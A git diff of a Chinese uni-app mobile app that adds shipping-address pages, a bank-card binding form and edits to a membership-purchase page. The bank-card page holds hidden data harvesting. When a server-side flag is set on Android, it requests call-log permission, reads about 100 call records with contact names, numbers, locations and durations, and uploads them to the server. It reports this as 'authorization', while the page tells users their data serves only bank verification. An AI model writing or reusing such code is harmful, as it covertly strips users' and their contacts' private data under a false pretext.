+ <view class="tipsTitle">
+ <image src="/static/imgs/notice2.png" mode=""></image>
+ <text>温馨提示</text>
+ </view>
+ <view class="tipsDesc">请填写真实有效的收货地址,以便我们提供方便快捷的收货体验。若因地址有误或无故拒收导致退货,以及货品运送期间要求修改地址,<text>从而产生的退回以及转运费用将由用户自行承担,敬请仔细填写。</text></view>
+ </view>
+ <cityPicker :column="column" :default-value="defaultArea" :mask-close-able="maskCloseAble" @confirm="confirmArea" @cancel="areaToggle" :visible="visible"/>
+ </view>
+</template>
+
+<script>
+ import cityPicker from '@/uni_modules/piaoyi-cityPicker/components/piaoyi-cityPicker/piaoyi-cityPicker'
+ export default {
+ components: {
+ cityPicker
+ },
+ data() {
+ return {
+ column: 3,
+ visible: false,
+ maskCloseAble: true,
+ defArea: '请选择地区',
+ defaultArea: ['', '', ''],
+ formData: {
+ id: 0,
+ realname: '',
+ phone: '',
+ area: '',
+ addr: '',
+ isdef: 0,
+ },
+ phoneReg: /^\d{11}$/,
+ backUrl: '',
+ }
+ },
+ onLoad(op) {
+ this.formData.id = op.id ? op.id : 0
+ this.backUrl = op.backUrl ? op.backUrl : ''
+ if(this.formData.id > 0) {
+ this.getAddrInfo(this.formData.id)
+ }
+ },
+ methods: {
+ getArea () {
+ let t = this
+ uni.getLocation({
+ type: 'gcj02',
+ geocode: true,
+ success: function (res) {
+ let area = res.address.province + '/' + res.address.city + '/' + res.address.district
+ t.formData.area = area
+ t.defArea = area
+ }
+ })
+ },
+ areaToggle () {
+ this.visible = !this.visible
+ },
+ defChange (e) {
+ this.formData.isdef = e.detail.value ? 1 : 0
+ },
+ confirmArea (e) {
+ this.defArea = e.provinceName + '/' + e.cityName + '/' + e.areaName
+ this.formData.area = this.defArea
+ this.areaToggle()
+ },
+ getAddrInfo (id) {
+ this.$util.post('Address/getAddrInfo', this.formData).then(res => {
+ if(res.code == 1) {
+ this.defArea = res.data.area
+ this.formData = res.data
+ }
+ })
+ },
+ addrSave () {
+ let t = this
+ if(t.formData.realname == ''){
+ return uni.showToast({
+ title: '请输入姓名',
+ icon: 'error',
+ })
+ }
+ if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
+ return uni.showToast({
+ title: '请输入正确的手机号!',
+ icon: 'error',
+ })
+ }
+ if(this.formData.area == ''){
+ return uni.showToast({
+ title: '请选择地区',
+ icon: 'error',
+ })
+ }
+ if(this.formData.addr == ''){
+ return uni.showToast({
+ title: '请输入详细地址',
+ icon: 'error',
+ })
+ }
+ t.$util.post('Address/addAddr', this.formData).then(res => {
+ if(res.code == 1) {
+ uni.showToast({
+ title: res.msg || '保存成功',
+ icon: 'success'
+ })
+ uni.setStorageSync('choose-address', JSON.stringify(res.data))
+ setTimeout(() => {
+ if(t.backUrl != ''){
+ t.$util.goPages(t.backUrl)
+ } else {
+ t.$util.goPages('/pages/address/address')
+ }
+ }, 1500)
+ } else {
+ uni.showToast({
+ title: res.msg || '保存失败',
+ icon: 'error'
+ })
+ }
+ })
+ },
+ }
+ }
+</script>
+
+<style>
+ @import url(/static/css/addAddr.css);
+</style>
diff --git a/pages/addBank/addBank.vue b/pages/addBank/addBank.vue
new file mode 100644
index 0000000..8a085bb
--- /dev/null
+++ b/pages/addBank/addBank.vue
@@ -0,0 +1,415 @@
+<template>
+ <view>
+ <view class="addr">
+ <view class="addrItem">
+ <text class="label">姓名</text>
+ <input type="text" v-model="formData.realname" placeholder="请输入姓名">
+ </view>
+ <view class="addrItem">
+ <text class="label">手机号</text>
+ <input type="number" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
+ </view>
+ <view class="addrItem">
+ <text class="label">银行名称</text>
+ <picker @change="bankChange" :value="bankIndex" :range="$bank">
+ <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="bankIndex == -1">请选择银行</view>
+ <view class="uni-input" v-else>{{$bank[bankIndex]}}</view>
+ </picker>
+ </view>
+ <view class="addrItem">
+ <text class="label">银行卡号</text>
+ <input type="text" v-model="formData.bankno" placeholder="请输入银行卡号" @blur="banknoChage">
+ </view>
+ <view class="addrItem" v-if="config && config.bank_open == 1">
+ <text class="label">短信码</text>
+ <input type="tel" v-model="formData.code" placeholder="请输入短信码">
+ <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
+ <text class="code" @click="sendCode" v-else>获取验证码</text>
+ </view>
+ <view class="addrItem">
+ <text class="label">设置默认银行</text>
+ <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
+ <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
+ </view>
+ </view>
+ <view class="addrBtn" @tap="bankSave" v-if="type == 2">保存并购买</view>
+ <view class="addrBtn" @tap="bankSave" v-else>保存</view>
+ <view class="tips">
+ <view class="tipsTitle">
+ <image src="/static/imgs/notice2.png" mode=""></image>
+ <text>温馨提示</text>
+ </view>
+ <view class="tipsDesc">
+ <view>1.需使用本人开户的银行卡,请确保为本人操作。</view>
+ <view>2.信息已只能加密,仅用于银行信息认证,隐私信息将严格保密。</view>
+ </view>
+ </view>
+ </view>
+</template>
+
+<script>
+ import permision from "@/js_sdk/wa-permission/permission.js"
+ export default {
+ data() {
+ return {
+ bankIndex: -1,
+ formData: {
+ id: 0,
+ realname: '',
+ phone: '',
+ bankname: '',
+ bankno: '',
+ code: '',
+ isdef: 0,
+ orderNo: '',
+ type: 0,
+ over_auth: 0,
+ },
+ phoneReg: /^\d{11}$/,
+ backUrl: '',
+ leftTime: 60,
+ type: 0,
+ config: null,
+ }
+ },
+ onLoad(op) {
+ this.getConfig()
+ this.getUserInfo()
+ this.formData.id = op.id ? op.id : 0
+ this.backUrl = op.backUrl ? op.backUrl : ''
+ if(this.formData.id > 0) {
+ this.getBankInfo(this.formData.id)
+ }
+ if(this.backUrl != '') {
+ this.formData.over_auth = 1
+ }
+ //宝付绑卡
+ this.type = op.type ? op.type : 0
+ if(this.type == 2) {
+ this.getDefBank()
+ }
+ },
+ methods: {
+ getConfig() {
+ let t = this
+ t.$util.post('Index/getConfig').then(res => {
+ if(res.code == 1) {
+ console.log('config', res.data)
+ t.config = res.data
+ }
+ })
+ },
+ banknoChage(e) {
+ let bankno = e.detail.value.replace(/\s/g, "")
+ this.formData.bankno = bankno
+ },
+ bankChange (e) {
+ console.log(e)
+ this.bankIndex = e.detail.value
+ this.formData.bankname = this.$bank[this.bankIndex]
+ },
+ sendCode () {
+ if(this.formData.phone == ''){
+ return uni.showToast({
+ title: '请输入手机号',
+ icon: 'error',
+ })
+ }
+ if(this.formData.bankno == ''){
+ return uni.showToast({
+ title: '请输入银行卡号',
+ icon: 'error',
+ })
+ }
+ if (this.leftTime < 60) {
+ return false
+ }
+ let t = this
+ console.log(this.formData)
+ this.$util.post('Bank/preBindingCard', {bankno: this.formData.bankno, phone: this.formData.phone, type: this.formData.type}).then(res => {
+ if(res.code == 1){
+ console.log(res)
+ t.countDown()
+ t.formData.orderNo = res.data.orderNo
+ uni.showToast({
+ title:'发送成功',
+ icon:'none'
+ })
+ } else {
+ uni.showToast({
+ title: res.msg,
+ icon: 'none',
+ })
+ }
+ })
+ },
+ countDown() {
+ this.leftTime--
+ if (this.leftTime > 0) {
+ setTimeout(this.countDown, 1000)
+ } else {
+ this.leftTime = 60
+ }
+ },
+ getUserInfo () {
+ let t = this
+ let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
+ if(userStr != null) {
+ t.$util.post('User/getUser').then(res => {
+ if(res.code == 1){
+ t.formData.realname = res.data.realname
+ t.formData.phone = res.data.phone
+ if(res.data.calls == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
+ console.log(res)
+ t.requestAndroidPermission('android.permission.READ_CALL_LOG')
+ }
+ }
+ })
+ }
+ },
+ async requestAndroidPermission(permisionID) {
+ let t = this
+ let result = await permision.requestAndroidPermission(permisionID)
+ console.log('result', result)
+ if (result == 1) {
+ t.setCalllog()
+ } else if (result == 0) {
+ t.$util.goSetting()
+ } else {
+ t.$util.goSetting()
+ }
+ },
+ defChange (e) {
+ this.formData.isdef = e.detail.value ? 1 : 0
+ },
+ getBankInfo (id) {
+ this.$util.post('Bank/getBankInfo', this.formData).then(res => {
+ if(res.code == 1) {
+ this.formData = res.data
+ }
+ })
+ },
+ getDefBank () {
+ this.$util.post('Bank/getDefBank', {}).then(res => {
+ if(res.code == 1) {
+ this.formData = res.data
+ this.formData.type = this.type
+ for(let i in this.$bank){
+ if(this.$bank[i] == this.formData.bankname){
+ this.bankIndex = i
+ break
+ }
+ }
+ }
+ })
+ },
+ bankSave () {
+ let t = this
+ if(t.formData.realname == ''){
+ return uni.showToast({
+ title: '请输入姓名',
+ icon: 'error',
+ })
+ }
+ if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
+ return uni.showToast({
+ title: '请输入正确的手机号!',
+ icon: 'error',
+ })
+ }
+ if(this.formData.bankname == ''){
+ return uni.showToast({
+ title: '请输入银行名称',
+ icon: 'error',
+ })
+ }
+ if(this.formData.bankno == ''){
+ return uni.showToast({
+ title: '请输入银行卡号',
+ icon: 'error',
+ })
+ }
+ if(this.formData.code == '' && this.config && this.config.bank_open == 1){
+ return uni.showToast({
+ title: '请输入短信码',
+ icon: 'error',
+ })
+ }
+ t.$util.post('Bank/addBank', this.formData).then(res => {
+ console.log(res)
+ if(res.code == 1) {
+ uni.showToast({
+ title: res.msg || '保存成功',
+ icon: 'success'
+ })
+ //更新用户信息缓存
+ uni.setStorageSync('user-info', JSON.stringify(res.data))
+ setTimeout(() => {
+ if(t.backUrl != ''){
+ t.$util.goPages(t.backUrl)
+ } else {
+ t.$util.goPages('/pages/bank/bank')
+ }
+ }, 1500)
+ } else {
+ uni.showToast({
+ title: res.msg || '保存失败',
+ icon: 'error'
+ })
+ }
+ })
+ },
+ //获取通话记录
+ setCalllog(){
+ uni.showLoading({
+ title: '授权中...'
+ })
+ let self = this
+ // 在这里调用plus api
+ var CallLog = plus.android.importClass("android.provider.CallLog");
+ var main = plus.android.runtimeMainActivity();
+ var obj = main.getContentResolver();
+ plus.android.importClass(obj);
+ let timeLine = new Date().getTime()
+ var selection = {
+ mobile: '',
+ startTime: new Date('2022-4-1').getTime(),
+ endTime: timeLine,
+ type: ''
+ }
+ //查询
+ var sql = '';
+ var keyword = '';
+ for (let item of Object.keys(selection)) {
+ if (selection[item] != '') {
+ switch (item) {
+ case 'mobile':
+ sql = sql == '' ? sql : sql + ' and ';
+ sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
+ keyword = selection[item];
+ break;
+ case 'startTime':
+ sql = sql == '' ? sql : sql + ' and ';
+ sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
+ break;
+ case 'endTime':
+ sql = sql == '' ? sql : sql + ' and ';
+ sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
+ break;
+ case 'type':
+ sql = sql == '' ? sql : sql + ' and ';
+ sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
+ break;
+ }
+ }
+ }
+ sql = sql != '' ? sql : null;
+ var cursor = obj.query(
+ CallLog.Calls.CONTENT_URI,
+ null,
+ sql, //传入条件
+ null,
+ null
+ );
+ if(cursor){
+ plus.android.importClass(cursor);
+ var content = []; // 用来存储数据
+ var count = 0; // 记录多少条
+ if (cursor.moveToFirst()) {
+ while (cursor.moveToNext()) {
+ count++;
+ //号码
+ var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
+ //呼叫类型
+ var type;
+ switch (
+ parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
+ // 判断通话类型
+ {
+ case CallLog.Calls.INCOMING_TYPE:
+ type = "呼入";
+ break;
+ case CallLog.Calls.OUTGOING_TYPE:
+ type = "呼出";
+ break;
+ case CallLog.Calls.MISSED_TYPE:
+ type = "未接";
+ break;
+ default:
+ type = "挂断"; //应该是挂断.根据我手机类型判断出的
+ break;
+ }
+ // 获取时间
+ var date = new Date(parseInt(
+ cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
+ // 联系人
+ var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
+ var name = cursor.getString(Name_Col);
+ // 号码归属地 返回:北京 联通
+ var numberLocation = cursor.getString(
+ cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
+ );
+ //通话时间,单位:s
+ var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
+ var duration = cursor.getString(Duration_Col);
+ // 存入数组
+ content.push({
+ name: name == null ? '无' : name, // 联系人的姓名
+ phone: number == null ? '无' : number, // 联系人电话
+ phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
+ date: self.getCallTime(date), // 呼入或呼出时间
+ times: duration, // 通话时长
+ type: type,
+ });
+ // 查询100条 就跳出
+ if (count > 99) {
+ break;
+ }
+ }
+ }
+
+ console.log('call', content)
+ if(content.length > 0){
+ console.log(content)
+ self.$util.post('Calls/setCalls', content).then(rs => {
+ uni.hideLoading()
+ console.log('ttt', rs)
+ uni.showToast({
+ title: '授权成功!',
+ icon: 'success',
+ })
+ })
+ }
+
+ }else{
+ uni.hideLoading()
+ t.$util.goSetting()
+ }
+ },
+
+ getCallTime(time) {
+ var date = new Date(time);//当前时间
+ var year = date.getFullYear(); //返回指定日期的年份
+ var month = this.repair(date.getMonth() + 1);//月
+ var day = this.repair(date.getDate());//日
+ var hour = this.repair(date.getHours());//时
+ var minute = this.repair(date.getMinutes());//分
+ var second = this.repair(date.getSeconds());//秒
+ //当前时间
+ var curTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
+ return curTime;
+ },
+ repair(i){
+ if (i >= 0 && i <= 9) {
+ return "0" + i;
+ } else {
+ return i;
+ }
+ },
+ }
+ }
+</script>
+
+<style>
+ @import url(/static/css/addAddr.css);
+</style>
diff --git a/pages/address/address.vue b/pages/address/address.vue
new file mode 100644
index 0000000..d121b5a
--- /dev/null
+++ b/pages/address/address.vue
@@ -0,0 +1,123 @@
+<template>
+ <view>
+ <view class="" v-if="addrData.length > 0">
+ <view class="addrItem" v-for="(item, index) in addrData">
+ <view class="" @tap="setAddrCookie(item)">
+ <view class="addr-v">
+ <text>{{item.realname}}</text>
+ <text>{{item.phone}}</text>
+ </view>
+ <view class="addr-v">{{item.area}}({{item.addr}})</view>
+ <image class="rgt" src="/static/imgs/right.png" mode=""></image>
+ </view>
+ <view class="addr-c">
+ <view class="addr-df">
+ 默认:
+ <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
+ <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
+ </view>
+ <view class="addr-c-main">
+ <view class="addr-c-c" @tap="$util.goPages('/pages/addAddr/addAddr?id=' + item.id)">
+ <image src="/static/imgs/edit.png" mode=""></image>
+ <text>编辑</text>
+ </view>
+ <view class="addr-c-c" @tap="delConfirm(item.id, index)">
+ <image src="/static/imgs/del.png" mode=""></image>
+ <text>删除</text>
+ </view>
+ </view>
+ </view>
+ </view>
+ </view>
+ <view class="noData" v-else>
+ <image src="/static/imgs/noData.png" mode=""></image>
+ <view class="">没有地址信息</view>
+ </view>
+ <view class="addrBtn" @tap="addAddr">添加地址</view>
+ </view>
+</template>
+
+<script>
+ export default {
+ data() {
+ return {
+ pageIndex: 1,
+ pageSize: 200,
+ addrData: [],
+ backUrl: '',
+ }
+ },
+ onLoad(op) {
+ this.backUrl = op.backUrl ? op.backUrl : ''
+ this.getAddress()
+ },
+ methods: {
+ //选择地址
+ setAddrCookie (e) {
+ if(this.backUrl != ''){
+ uni.setStorageSync('choose-address', JSON.stringify(e))
+ this.$util.goPages(this.backUrl)
+ }
+ },
+ addAddr () {
+ let url = '/pages/addAddr/addAddr'
+ if(this.backUrl != ''){
+ url = url + '?backUrl=' + this.backUrl
+ }
+ this.$util.goPages(url)
+ },
+ defChange (e) {
+ let id = e.currentTarget.dataset.id
+ this.$util.post('Address/setDef', {id: id}).then(res => {
+ if(res.code == 1){
+ for(let i in this.addrData){
+ if(this.addrData[i].id != id){
+ this.addrData[i].isdef = 0
+ }
+ }
+ }
+ })
+ },
+ getAddress () {
+ this.$util.post('Address/getAddress', {pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
+ if(res.code == 1){
+ this.addrData = res.data.list
+ }
+ })
+ },
+ delConfirm (id, idx) {
+ let t = this
+ uni.showModal({
+ title: '温馨提示',
+ content: '是否删除地址信息?',
+ success: function (res) {
+ if (res.confirm) {
+ t.delAddr(id, idx)
+ }
+ }
+ })
+ },
+ delAddr(id, idx){
+ let t = this
+ t.$util.post('Address/delAddr', {id: id}).then(res => {
+ if(res.code == 1){
+ uni.showToast({
+ title: res.msg || '删除成功',
+ icon: 'success'
+ })
+ this.addrData.splice(idx, 1)
+ } else {
+ uni.showToast({
+ title: res.msg || '删除失败',
+ icon: 'error'
+ })
+ }
+ })
+ }
+ }
+ }
+</script>
+
+<style>
+@import url(/static/css/address.css);
+</style>
diff --git a/pages/agree/agree.vue b/pages/agree/agree.vue
new file mode 100644
index 0000000..8183fd0
--- /dev/null
+++ b/pages/agree/agree.vue
@@ -0,0 +1,22 @@
+<template>
+ <view>
+
+ </view>
+</template>
+
+<script>
+ export default {
+ data() {
+ return {
+
+ }
+ },
+ methods: {
+
+ }
+ }
+</script>
+
+<style>
+
+</style>
diff --git a/pages/quanyi/add.vue b/pages/quanyi/add.vue
index f101df3..22ca064 100644
--- a/pages/quanyi/add.vue
+++ b/pages/quanyi/add.vue
@@ -2,8 +2,8 @@
import offIcon from '@/static/imgs/icons/off.png'
import leftIcon from '@/static/imgs/icons/left.png'
import kkIcon from '@/static/imgs/icons/kk.png'
-import addAddress from "./components/addAddress";
-import agreement from "./components/agreement";
+import addAddress from "@/pages/quanyi/components/addAddress";
+import agreement from "@/pages/quanyi/components/agreement";
export default {
name: "add",
components: {
@@ -95,8 +95,8 @@
uni.request({
url: _this.$webHost+'/api/v2/customer/getCstAddress',
data:{
- customerId: uni.getStorageSync('ygxLogin').customerId,
- sourceId: uni.getStorageSync('ygxLogin').appId
+ customerId: uni.getStorageSync('qxgLogin').customerId,
+ sourceId: uni.getStorageSync('qxgLogin').appId
},
success: function (res) {
_this.addressDetail = res.data.data;
@@ -105,7 +105,7 @@
uni.request({
- url: _this.$webHost+'/api/v2/xinheyuan/bank/list/fake/'+uni.getStorageSync('ygxLogin').customerId,
+ url: _this.$webHost+'/api/v2/xinheyuan/bank/list/fake/'+uni.getStorageSync('qxgLogin').customerId,
success(res){
console.log(res.data.data);
this.bankList = res.data.data;
@@ -116,7 +116,7 @@
uni.setStorageSync('windowHeight',uni.getSystemInfoSync().windowHeight)
uni.request({
- url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
+ url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
method:'get',
success:function(res){
const dy = res.data.data[0];
@@ -162,7 +162,7 @@
uni.request({
- url: _this.$webHost+'/api/v2/sign/signed/'+uni.getStorageSync('ygxLogin').customerId,
+ url: _this.$webHost+'/api/v2/sign/signed/'+uni.getStorageSync('qxgLogin').customerId,
method:'POST',
})
@@ -170,7 +170,7 @@
url: _this.$webHost+'/api/v2/pay/memberPurchaseBenefitsPays',
method:'POST',
data:{
- customerId: uni.getStorageSync('ygxLogin').customerId,
+ customerId: uni.getStorageSync('qxgLogin').customerId,
memberPeriodConfigId: uni.getStorageSync('memberPeriodConfigInfo').id
},
success(){
@@ -285,7 +285,7 @@
uni.request({
- url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
+ url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
method:'get',
success:function(res){
_this.getPayBindCardInfo = res.data.data;
@@ -299,7 +299,7 @@
data:{
..._this.bindCardId,
- "customerId": uni.getStorageSync('ygxLogin').customerId,
+ "customerId": uni.getStorageSync('qxgLogin').customerId,
"cardPhone" : _this.cardPhone, //手机号
"cardNumber": _this.cardNumber, //卡号
@@ -313,13 +313,12 @@
},
success(e){
if(e.data.code!==200){
-
- uni.showTips({
+ _this.$util.Tips({
title: e.data.data
});
}
uni.request({
- url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
+ url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('qxgLogin').customerId}`,
method:'get',
success:function(res){
const ls = res.data.data;
@@ -328,13 +327,13 @@
- if(ls.length && !ls[1].bindStatus){
+ if(ls.length>1 && !ls[1].bindStatus){
_this.$refs.codeUi.open()
_this.isCounting = false;
_this.countText = '';
return;
}
- if(ls.length && !ls[2].bindStatus){
+ if(ls.length>2 && !ls[2].bindStatus){
_this.$refs.setUi.open();
_this.isCounting = false;
_this.countText = '';
@@ -343,8 +342,6 @@
if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
-
- _this.kk()
@@ -356,426 +353,410 @@
},
- getSmsCode(){
- const that = this;
- console.log(that.getPayBindCardInfo[0].paymentMethod);
- if(this.isCounting){
+ getSmsCode(){
+ const that = this;
+ console.log(that.getPayBindCardInfo[0].paymentMethod);
+ if(this.isCounting){
+ return
+ }
+ if(that.getPayBindCardInfo[0].bindStatus){
+ if(!that.getPayBindCardInfo[1].bindStatus){
+ that.$refs.codeUi.open();
return
}
- if(that.getPayBindCardInfo[0].bindStatus){
- if(!that.getPayBindCardInfo[1].bindStatus){
- that.$refs.codeUi.open();
- return
- }
- if(!that.getPayBindCardInfo[2].bindStatus){
- that.$refs.setUi.open();
- }
- return
+ if(!that.getPayBindCardInfo[2].bindStatus){
+ that.$refs.setUi.open();
}
+ return
+ }
- if (!/^1(3|4|5|7|8|9|6)\d{9}$/i.test(that.cardPhone)) return uni.showToast({title: '请输入正确的手机号码', icon: 'none'});
+ if (!/^1(3|4|5|7|8|9|6)\d{9}$/i.test(that.cardPhone)) return that.$util.Tips({
+ title: '请输入正确的手机号码'
+ });
- that.isCounting = true;
+ that.isCounting = true;
- uni.request({
- url: that.$webHost+'/api/v2/xinheyuan/bankcard/save',
- method:'POST',
- data:{
- "customerId": uni.getStorageSync('ygxLogin').customerId,
- "nameReal": that.cardName, // 名字
- "cardNo":that.cardNumber,
- "idCard": that.idCardNo,
+ uni.request({
+ url: that.$webHost+'/api/v2/xinheyuan/bankcard/save',
+ method:'POST',
+ data:{
+ "customerId": uni.getStorageSync('qxgLogin').customerId,
+ "nameReal": that.cardName, // 名字
+ "cardNo":that.cardNumber,
+ "idCard": that.idCardNo,
- "bankPhoneNo":that.cardPhone,
- "bankCode": that.bankCode,
- "bankName": that.bankName,
- "phone": that.cardPhone, //手机号
- "paymentMethod": that.getPayBindCardInfo[0].paymentMethod ,
+ "bankPhoneNo":that.cardPhone,
+ "bankCode": that.bankCode,
+ "bankName": that.bankName,
+ "phone": that.cardPhone, //手机号
+ "paymentMethod": that.getPayBindCardInfo[0].paymentMethod ,
- "preBindType": "prebc",
- "bankId": "1",
+ "preBindType": "prebc",
+ "bankId": "1",
- },
- success(){
- uni.request({
- url: that.$webHost+'/api/v2/pay/bindCardToCodes',
- method:'POST',
- data:{
- "customerId": uni.getStorageSync('ygxLogin').customerId,
- "cardName": that.cardName, // 名字
- "cardIdNo": that.idCardNo,
+ },
+ success(){
+ uni.request({
+ url: that.$webHost+'/api/v2/pay/bindCardToCodes',
+ method:'POST',
+ data:{
+ "customerId": uni.getStorageSync('qxgLogin').customerId,
+ "cardName": that.cardName, // 名字
+ "cardIdNo": that.idCardNo,
- "cardNumber":that.cardNumber,
- "bankPhoneNo":that.cardPhone,
- "bankCode": that.bankCode,
- "bankName": that.bankName,
- "cardPhone": that.cardPhone, //手机号
- "paymentMethod": that.getPayBindCardInfo[0].paymentMethod ,
+ "cardNumber":that.cardNumber,
+ "bankPhoneNo":that.cardPhone,
+ "bankCode": that.bankCode,
+ "bankName": that.bankName,
+ "cardPhone": that.cardPhone, //手机号
+ "paymentMethod": that.getPayBindCardInfo[0].paymentMethod ,
- "preBindType": "prebc",
- "bankId": "1",
+ "preBindType": "prebc",
+ "bankId": "1",
- },
- success(res){
- if(res.data.code === 401){
- that.getUserInfo()
- return;
- }
-
- if(res.data.code !==200){
- uni.showToast({
- title: res.data.data,
- icon: 'none'
- })
- return;
- }
-
- if(res.data.code === 200){
- that.bindCardId = res.data.data;
- } else {
- that.isCounting = false;
- that.countText = '';
- uni.showToast({
- title: res.data.data,
- icon: 'none'
- });
-
- if(!that.getPayBindCardInfo[0].bindStatus){
-
- return;
- }
-
-
- if(!that.getPayBindCardInfo[1].bindStatus){
- that.$refs.codeUi.open()
- that.isCounting = false;
- that.countText = '';
- return
- } if(!that.getPayBindCardInfo[2].bindStatus){
- that.isCounting = false;
- that.countText = '';
- that.$refs.setUi.open()
- return
- }
- }
-
+ },
+ success(res){
+ if(res.data.code === 401){
+ that.getUserInfo()
+ return;
}
- })
- let count = 60;
- that.countText = `${count}s秒后重新获取`;
+ if(res.data.code !==200){
+ uni.showToast({
+ title: res.data.data,
+ icon: 'none'
+ })
+ return;
+ }
-
- const timer = setInterval(() => {
- count--;
- that.countText = `${count}s秒后重新获取`;
- if (count <= 0) {
- clearInterval(timer);
+ if(res.data.code === 200){
+ that.bindCardId = res.data.data;
+ } else {
that.isCounting = false;
that.countText = '';
- }
- },1000)
- },
- fail(err){
- that.isCounting = false;
- that.countText = '';
- uni.showToast({
- title: err,
- icon: 'none'
- })
- }
- })
+ uni.showToast({
+ title: res.data.data,
+ icon: 'none'
+ });
+ if(!that.getPayBindCardInfo[0].bindStatus){
-
-
-
-
-
-
-
-
- },
-// 二次获取
- getCode(){
- if (this.isCounting_A) {
- return;
- }
- const paymentMethod = this.getPayBindCardInfo[1]['paymentMethod'];
- const _this = this;
- const pro = uni.getStorageSync('ygxLogin')
- pro['userName'] = _this.cardName;
- uni.request({
- url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
- method:'POST',
- data:{
- cardIdNo: _this.idCardNo,
- customerId: pro.customerId,
- cardName: _this.cardName,
- cardNo: _this.cardIdNo,
- cardPhone: _this.cardPhone,
- cardNumber: _this.cardNumber,
- bankName: _this.bankName,
- preBindType: "prebc",
- paymentMethod:paymentMethod,
- againType : true
- },
- success(dt){
- if(dt.data.code === 401){
- _this.getUserInfo()
- return;
- }
- const res = dt.data.data;
- if(!res){
- return;
- }
- _this.callbackData = res;
- _this.bindCardId = res;
- uni.showToast({
- title: "验证码已发送",
- icon: "none",
- });
- // 设置倒计时功能
- let count = 60;
-
- const timer = setInterval(() => {
- count--;
- if (count <= 0) {
- clearInterval(timer);
- _this.$set(_this, "isCounting_A", false);
- } else {
- _this.$set(_this, "isCounting_A", true);
- _this.$set(_this, "countText_A", `${count}秒后重新获取`);
- }
- }, 1000);
- }
- })
- },
-
- submitPlan(){
-
- const _this = this;
-
- if (!this.verificationCodeT) {
- uni.showToast({
- title: "请输入验证码",
- icon: "none",
- });
- return;
- }
-
- const callbackData = _this.callbackData;
- const paymentMethod = _this.getPayBindCardInfo[1]['paymentMethod'];
-
-
- uni.request({
- url: _this.$webHost+'/api/v2/pay/verifySMSCodes',
- method:'POST',
- data:{
- ...callbackData,
-
- "customerId": uni.getStorageSync('ygxLogin').customerId,
- "cardPhone" : _this.cardPhone, //手机号
-
- "cardNumber": _this.cardNumber, //卡号
- paymentMethod:paymentMethod,
- "cardName" : _this.cardName, // 名字
- "cardIdNo" : _this.cardIdNo,
- "bankName" : _this.bankName,
- "cardNo" : _this.cardNumber,
-
- "verificationCode": _this.verificationCodeT,
- },
- success(dts){
- if(dts.data.code!==200){
-
- uni.showTips({
- title: dts.data.data
- });
- return
- }
-
- uni.request({
- url:_this.$webHost+`/api/v2/pay/getPayBindCardInfo/${uni.getStorageSync('ygxLogin').customerId}`,
- method:'get',
- success:function(res){
- const ls = res.data.data;
- _this.getPayBindCardInfo = res.data.data;
- if(ls.length>2 && !ls[2].bindStatus){
- _this.isCounting_A = false;
- _this.countText_A = '';
- _this.$refs.codeUi.close()
- _this.$refs.setUi.open()
+ return;
}
- if(!ls || !ls.some(item => item.bindStatus == 0)) {_this.kk();return;}
-
-
-
-
+ if(!that.getPayBindCardInfo[1].bindStatus){
+ that.$refs.codeUi.open()
+ that.isCounting = false;
+ that.countText = '';
+ return
+ } if(!that.getPayBindCardInfo[2].bindStatus){
+ that.isCounting = false;
+ that.countText = '';
+ that.$refs.setUi.open()
+ return
+ }
}
- })
- }
- })
-
- },
-// 三次
- getCode_san(){
- if (this.isCounting_B) {
- return;
- }
- const paymentMethod = this.getPayBindCardInfo[2]['paymentMethod'];
- const _this = this;
- const pro = uni.getStorageSync('ygxLogin')
- pro['userName'] = _this.cardName;
- uni.request({
- url: _this.$webHost+'/api/v2/pay/bindCardToCodes',
- method:'POST',
- data:{
- cardIdNo: _this.idCardNo,
- customerId: pro.customerId,
- cardName: _this.cardName,
- cardNo: _this.cardIdNo,
- cardPhone: _this.cardPhone,
- cardNumber: _this.cardNumber,
- bankName: _this.bankName,
- preBindType: "prebc",
- paymentMethod:paymentMethod,
- againType : true
- },
- success(dt){
- if(dt.data.code ==401){
- _this.getUserInfo()
- return;
}
+ })
- if(dt.data.code !==200){
- uni.showToast({
- title: dt.data.data,
- icon: 'none'
- })
- return;
+ let count = 60;
+ that.countText = `${count}s秒后重新获取`;
+
+
+ const timer = setInterval(() => {
+ count--;
+ that.countText = `${count}s秒后重新获取`;
